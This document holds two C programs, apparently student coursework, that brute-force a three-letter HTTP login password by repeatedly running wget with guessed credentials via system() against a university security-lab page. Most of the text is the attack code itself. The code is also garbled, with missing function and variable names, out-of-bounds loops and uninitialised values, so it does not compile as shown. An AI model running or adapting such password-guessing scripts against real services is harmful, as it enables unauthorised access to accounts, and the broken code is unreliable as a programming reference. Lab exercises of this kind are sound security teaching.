
#include "stdio.h"
#include "string.h"

#include "stdlib.h"


void passwordcheck(char pass[],int tt,int not);
()
{
int i,j,k,t,tt,not;
char cp[3];

char [4];

char a[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

tt=time(&(t));
not=0;
for (i=0;i<=51;i++)
{
	
	cp[0]=a[i];
	sprintf(,"%c",cp[0]);
	passwordcheck(,tt,not);
	for (j=0;j<=51;j++)
	{
		
		
		cp[0]=a[i];
		cp[1]=a[j];
		sprintf(,"%c%c",cp[0],cp[1]);
		passwordcheck(,tt,not);
		for(k=0;k<=51;k++)
		{
			
							
			cp[0]=a[i];
			cp[1]=a[j];
		
			cp[2]=a[k];
			
			sprintf(,"%c%c%c",cp[0],cp[1],cp[2]);
			
			passwordcheck(,tt,not);
			
					
		}
		
				
		
	}
}

}



void passwordcheck(char pass[],int tt,int not)
{
char url[400];
int num,ti,tti;

			
strcpy(url,"wget --http-user= --http-passwd=");
			strcat(url,pass);
			
			strcat(url," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); 
			printf("The password combination is :%s",pass);
			fflush(stdout);	
			num=system(url);
			not++;
			if (num==0)
			{
				
				time(&(ti));
				tti=ti-tti;
				printf("The actual password is :%s\n",pass);
				printf("The number of attempts   crack the password is :%d",not);
				printf("The time_var taken  find the password by brute force attack is :%d\n seconds",tti);
				exit(1);
				
				
			}
						
			else
			{
			strcpy(pass,"");
			}
			


}
 



#include <strings.h>
#include <string.h>
#include <ctype.h>
#include<sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>



int ()
{
    int i,j,k,syst;
    char password[4],first[100],last[100];
    int count =0;     
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
    int Start_time,End_time,Total_time,average;  
    Start_time = time();
printf(" Time =%11dms\n", Start_time);
   for (i=0;i<=52;i++)
  {
   for (j=0;j<=52;j++)
   {
	for(k=0;k<=52;k++)
	  {
	      password[0] =  arr[i];
          password[1] =  arr[j];
          password[2] =  arr[k];
          password[3] =  '\0';
		  printf(" The  Combination of the password  tried %s \n" ,password);
     	  printf("*********\n" );
          strcat(first, password);
          strcat(first, last);
	  printf("\n executing %s\n", first);
          count++;
          syst = system(first);
         if (syst == 0)
       {
        printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in Seconds=%lldsec\n", Total_time);
		printf("Total number of attempts %d" , count);
        printf("\nsuccess %d %s\n",syst,password);
            exit(1);
          }
	  strcpy(first, "");
	  strcpy(first, "wget --http-user= --http-passwd=");

	         }
  	}
   }
 }





